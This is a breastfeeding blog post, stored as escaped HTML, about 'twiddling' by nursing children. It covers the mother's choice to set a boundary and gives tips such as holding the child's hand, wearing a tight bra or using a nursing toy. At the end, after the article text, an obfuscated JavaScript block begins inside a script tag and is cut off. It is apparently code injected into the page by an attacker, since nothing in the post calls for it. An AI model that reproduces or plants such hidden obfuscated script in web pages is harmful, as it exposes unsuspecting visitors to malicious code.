It\u2019s when they stick their hand in your shirt and play with your nipple; scratch it, twist it, flick it, etc. Sometimes it doesn\u2019t bother a person. With my first son I never noticed. It didn\u2019t bother me. When I became pregnant and for the rest of my breastfeeding and tandem breastfeeding journey it made me feel like pulling my eyelashes out, stabbing myself and running through a wall. Or all of those things at once. I had to stop it.<!--more--><\/p>\n<p>While no one knows exactly why this bothers some people and not others or bothers some people at some point but not at another point, we feel fairly safe saying that it is related to hormones. Hormones pretty much run our bodies and they are running fast and loose during pregnancy and breastfeeding.<\/p>\n<p>At first I felt bad for stopping it. My kids got so upset. But I learned that it was OK for me to put up this boundary. It\u2019s my body. It makes me uncomfortable. And it\u2019s OK for me to have boundaries. This is a relationship. I also realized that it was new territory for me. I wasn\u2019t used to putting up boundaries and it being OK that someone was upset about it. Most of my life, and I imagine the lives of many women, we are taught to keep quiet and not make people upset, even if <strong><em>we<\/em><\/strong> are uncomfortable and upset. I\u2019ve decided that\u2019s nonsense.<\/p>\n<p><em>I just love the lessons that my kids bring to me. <\/em><\/p>\n<p>Because I also realized that putting up boundaries for myself teaches my kids that they can do the same for themselves. I am giving them that gift I was never given. People have boundaries. We learn this when people put up boundaries. And we learn how to protect ourselves. The beautiful circle of life.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-5120\" src=\"https:\/\/thebadassbreastfeeder.com\/wp-content\/uploads\/2019\/01\/IMG_3991-768x1024.jpg\" alt=\"\" width=\"740\" height=\"987\" srcset=\"https:\/\/thebadassbreastfeeder.com\/wp-content\/uploads\/2019\/01\/IMG_3991-768x1024.jpg 768w, https:\/\/thebadassbreastfeeder.com\/wp-content\/uploads\/2019\/01\/IMG_3991-300x400.jpg 300w, https:\/\/thebadassbreastfeeder.com\/wp-content\/uploads\/2019\/01\/IMG_3991-225x300.jpg 225w, https:\/\/thebadassbreastfeeder.com\/wp-content\/uploads\/2019\/01\/IMG_3991-scaled.jpg 1920w\" sizes=\"auto, (max-width: 740px) 100vw, 740px\" \/><\/p>\n<p>Ok, now that you are ready to put up this boundary let\u2019s talk details.<\/p>\n<p>Your baby twiddles in part because they are wired to fidget with their hands. It helps them concentrate on breastfeeding. We also believe it helps to stimulate letdown. Twiddling can be seen in many primates.<\/p>\n<ol>\n<li><strong>Hold their hand<\/strong>. You can try holding their hand when breastfeeding, play with their fingers, create this breastfeeding tradition from as early as possible.<\/li>\n<li><strong>Wear a tight bra<\/strong>. I wore a sports bra and squeezed my breast out to breastfeed leaving the other one difficult to access. Once my kids got to a certain age, though, they were still able to get in there. <em>Why are they so strong?? <\/em><\/li>\n<li><strong>Get a breastfeeding toy<\/strong>. Create a breastfeeding-only toy. A soft animal, squishy stress ball, anything you like that they can hold in their hands. Some babies like to play with tags. Make sure this is their special breastfeeding-only toy.<\/li>\n<li><strong>Pull their hand away<\/strong>. This boundary is like any other lesson they need to learn. It will take time. Pick a phrase such as \u201cPlease stop\u201d or \u201cI don\u2019t like that\u201d and be prepared to say it 5 million times. Sat it gently over and over while you pull their hand away. My kids eventually stopped. After a while. A long while.<\/li>\n<\/ol>\n<p>They won\u2019t be happy about it. And that\u2019s OK. You are there for them being the loving parent that you are. This boundary is a good thing. They won\u2019t like it. And that\u2019s OK. It\u2019s hard to hear them cry. But they will get through. You will get through this together. Just like you\u2019ll get through many difficult things together.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return
